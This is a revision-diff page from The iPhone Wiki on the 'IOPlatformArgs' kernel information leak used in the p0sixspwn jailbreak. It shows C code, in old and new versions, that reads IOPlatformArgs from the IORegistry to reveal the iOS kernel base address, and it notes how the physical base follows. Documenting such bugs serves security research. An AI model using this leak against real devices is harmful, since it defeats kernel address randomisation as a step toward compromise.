Difference between revisions of "IOPlatfromArgs leak"

From The iPhone Wiki
Jump to: navigation, search
Line 3: Line 3:
 
This is the code
 
This is the code
 
<code>
 
<code>
  +
static uint32_t
unsigned long getKernelBase() {
 
  +
get_kernel_base_boot_args(void)
unsigned long buf;
 
  +
{
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("device-tree"));
 
  +
CFStringRef parameter = CFSTR("IOPlatformArgs");
if(service)
 
  +
CFDataRef data;
  +
  +
io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
  +
if (platformExpert)
 
{
 
{
CFDataRef macData = IORegistryEntryCreateCFProperty(service, CFSTR("IOPlatformArgs"), kCFAllocatorDefault, 0);
+
data = IORegistryEntryCreateCFProperty(platformExpert,
  +
parameter,
if(macData != NULL)
 
  +
kCFAllocatorDefault, 0);
{
 
/*
 
void CFDataGetBytes (
 
CFDataRef theData,
 
CFRange range,
 
UInt8 *buffer
 
);
 
*/
 
CFDataGetBytes(macData, CFRangeMake(0,sizeof(buf)), &buf); // TODO: buf != UInt8
 
// XXX: TODO: change decrement based on device.
 
// N90 ONLY FOR NOW!
 
buf -= 0xE1C000; // Diff.
 
CFRelease(macData);
 
IOObjectRelease(service);
 
return buf;
 
}
 
IOObjectRelease(service);
 
 
}
 
}
  +
return 0;
 
  +
IOObjectRelease(platformExpert);
} // iH8sn0w
 
  +
CFIndex bufferLength = CFDataGetLength(data);
  +
UInt8 *buffer = malloc(bufferLength);
  +
CFDataGetBytes(data, CFRangeMake(0,bufferLength), (UInt8*) buffer);
  +
  +
typedef struct {
  +
uint32_t deviceTreeP;
  +
uint32_t bootArgs;
  +
uint32_t zero;
  +
uint32_t zero_1;
  +
} platformArgs;
  +
platformArgs IOPlatformArgs;
  +
bcopy(buffer, &IOPlatformArgs, sizeof(IOPlatformArgs));
  +
  +
return IOPlatformArgs.bootArgs;
  +
}
 
</code>
 
</code>
   

Revision as of 13:38, 4 July 2014

Vulnerability used in p0sixspwn This vulnerability leaks the kernel base address. This is the code

static uint32_t
get_kernel_base_boot_args(void)
{
   CFStringRef parameter = CFSTR("IOPlatformArgs");
   CFDataRef data;
   io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
   if (platformExpert)
   {
       data = IORegistryEntryCreateCFProperty(platformExpert,
                                              parameter,
                                              kCFAllocatorDefault, 0);
   }
   IOObjectRelease(platformExpert);
   CFIndex bufferLength = CFDataGetLength(data);  
   UInt8 *buffer = malloc(bufferLength);
   CFDataGetBytes(data, CFRangeMake(0,bufferLength), (UInt8*) buffer);
   typedef struct {
       uint32_t deviceTreeP;
       uint32_t bootArgs;
       uint32_t zero;
       uint32_t zero_1;
   } platformArgs;
   platformArgs IOPlatformArgs;
   bcopy(buffer, &IOPlatformArgs, sizeof(IOPlatformArgs));
   return IOPlatformArgs.bootArgs;
}

Once the attacker knows the virtual base, he can use the virt_to_phys macro to see what the physical base is, this way both bases are leaked. This all relies on the IOPlatformArgs bug